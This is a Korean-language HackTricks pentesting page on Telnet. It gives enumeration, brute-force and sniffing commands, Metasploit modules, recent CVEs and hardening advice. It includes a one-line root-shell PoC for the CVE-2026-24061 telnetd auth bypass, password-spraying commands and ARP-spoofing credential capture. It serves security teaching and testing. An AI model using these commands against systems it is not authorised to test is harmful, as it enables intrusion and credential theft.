23 - Pentesting Telnet
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
Telnet은 사용자가 네트워크를 통해 컴퓨터에 접속할 수 있게 해주는 보안에 취약한 네트워크 프로토콜이다.
기본 포트: 23
23/tcp open telnet
Enumeration
Banner Grabbing
nc -vn <IP> 23
모든 흥미로운 enumeration 작업은 nmap으로 수행할 수 있습니다:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
스크립트 telnet-ntlm-info.nse는 NTLM 정보(Windows 버전)를 수집합니다.
From the telnet RFC: TELNET Protocol에는 다양한 “options“이 있으며, 이는 “DO, DON’T, WILL, WON’T” 구조로 허용되어 사용자와 서버가 TELNET 연결에 대해 더 정교하거나(또는 단순히 다른) 규약 집합을 사용하기로 합의할 수 있게 합니다. 이러한 옵션에는 문자 집합 변경, 에코 모드 변경 등도 포함될 수 있습니다.
이 옵션들을 열거할 수 있다는 것은 알고 있지만 방법을 모릅니다. 방법을 아시면 알려주세요.
Telnet 옵션 / 기능 열거
Telnet은 IAC + DO/DONT/WILL/WONT 협상을 사용하여 옵션을 활성화합니다. 초기 협상을 캡처하고 특정 기능을 프로빙함으로써 지원되는 옵션을 관찰할 수 있습니다.
Nmap 옵션/기능 프로브
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
telnet-encryption 스크립트는 ENCRYPT 옵션을 지원하는지 확인합니다; 일부 구현은 과거에 이 옵션을 잘못 처리해 취약했지만, 이 스크립트는 지원 여부만 확인합니다.
telnet-ntlm-info는 Microsoft Telnet NTLM이 활성화된 경우 NTLM 메타데이터(NetBIOS/DNS/OS build)를 노출합니다.
telnet-brute는 Telnet용 NSE brute-force 감사 도구입니다.
Brute force
구성 파일
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks 자동 명령어
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
최근 취약점 (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Telnet 서비스의 부적절한 입력 검증으로 원격 공격자가 하드코딩된 자격증명으로 로그인하고 OS 명령을 주입할 수 있음; 펌웨어 1.04B05 이상에서 수정됨.
- CVE-2023-40478 – NETGEAR RAX30: Telnet CLI의
passwd명령에서 스택 기반 버퍼 오버플로우로 네트워크 인접 코드 실행을 root 권한으로 허용함; 인증이 필요하지만 우회될 수 있음. - CVE-2022-39028 – GNU inetutils telnetd: 두 바이트 시퀀스(
0xff 0xf7/0xff 0xf8)가telnetd에서 NULL 포인터 역참조를 유발할 수 있으며, 반복적인 크래시는 inetd가 서비스를 비활성화하게 만들어 DoS를 초래할 수 있음.
취약점 분류 중에 이 CVE들을 염두에 두세요 — 대상이 패치되지 않은 펌웨어나 레거시 inetutils Telnet daemon을 실행 중이면 코드 실행이나 파괴적인 DoS로 직행할 수 있습니다.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)
개요: Telnet NEW_ENVIRON은 클라이언트가 옵션 협상 중에 환경 변수를 푸시할 수 있게 해주며; inetutils telnetd는 로그인 템플릿의 %U를 getenv("USER")로 치환하고 이를 /usr/bin/login에 직접 전달하여 argv-level option injection(no shell expansion)을 가능하게 함.
근본 원인: 버전 1.9.3–2.7은 필터링 없이 %U를 확장하므로, USER 값이 -로 시작하면 login 플래그로 해석됨. 예를 들어 %U가 -f root가 되어 /usr/bin/login -h <hostname> "-f root"가 되고 login -f를 통해 인증을 건너뜀.
익스플로잇 흐름:
- Telnet 서비스에 연결하고 NEW_ENVIRON을 협상하여
USER=-f root를 설정한다. telnetd는 공격자가 제어하는%U값을 포함한 로그인 argv를 구성한다./usr/bin/login은-f root를 “사전 인증된 사용자 root“로 해석하여 root 셸을 생성한다.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
패치 노트: inetutils 2.7-2는 sanitize() 헬퍼를 도입하여 로그인 argv에 대입하기 전에 앞에 -로 시작하거나 공백/메타문자를 포함하는 값을 거부하여 옵션 인젝션을 차단합니다.
탐지/검증: telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, 또는 netstat -tlnp | grep :23로 노출된 데몬을 식별합니다.
완화 조치
- 패치/업그레이드 영향을 받는 패키지를 즉시 업데이트하세요(예: Debian 수정은
2:2.4-2+deb12u2,2:2.6-3+deb13u1, 및2:2.7-2에 포함되어 있음). - Telnet 비활성화 또는 패치하는 동안 신뢰할 수 있는 관리 네트워크로 접근을 제한하세요.
Sniffing Credentials & Man-in-the-Middle
Telnet은 자격 증명을 포함한 모든 것을 clear-text로 전송합니다. 이를 캡처하는 두 가지 빠른 방법:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
활성 MITM의 경우, ARP spoofing(예: arpspoof/ettercap)과 동일한 sniffing 필터를 결합하여 스위치 환경의 네트워크에서 비밀번호를 수집하세요.
Automated Brute-force / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
Most IoT botnets (Mirai variants) still scan port 23 with small default-credential dictionaries—mirroring that logic can quickly identify weak devices.
Exploitation & Post-Exploitation
Metasploit has several useful modules:
auxiliary/scanner/telnet/telnet_version– 배너 및 옵션 열거.auxiliary/scanner/telnet/brute_telnet– 멀티스레드 브루트포스.auxiliary/scanner/telnet/telnet_encrypt_overflow– option ENCRYPT 처리의 취약점을 이용한 Solaris 9/10 Telnet 대상 RCE.exploit/linux/mips/netgear_telnetenable– 많은 NETGEAR 라우터에서 조작된 패킷으로 telnet 서비스를 활성화함.
After a shell is obtained remember that TTYs are usually dumb; upgrade with python -c 'import pty;pty.spawn("/bin/bash")' or use the HackTricks TTY tricks.
Hardening & Detection (Blue team corner)
- SSH를 우선 사용하고 Telnet 서비스를 완전히 비활성화하십시오.
- Telnet이 필요하다면 management VLANs에만 바인딩하고 ACLs를 적용하며 데몬을 TCP wrappers(
/etc/hosts.allow)로 감싸십시오. - 레거시
telnetd구현체는ssl-telnet또는telnetd-ssl로 교체하여 전송 계층 암호화를 추가하십시오. 다만 이는 전송 중 데이터만 보호하며 — password-guessing은 여전히 쉬운 상태입니다. - 포트 23으로의 아웃바운드 트래픽을 모니터링하십시오; 침해 시 종종 Telnet을 통한 reverse shells를 생성하여 strict-HTTP egress 필터를 우회합니다.
References
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


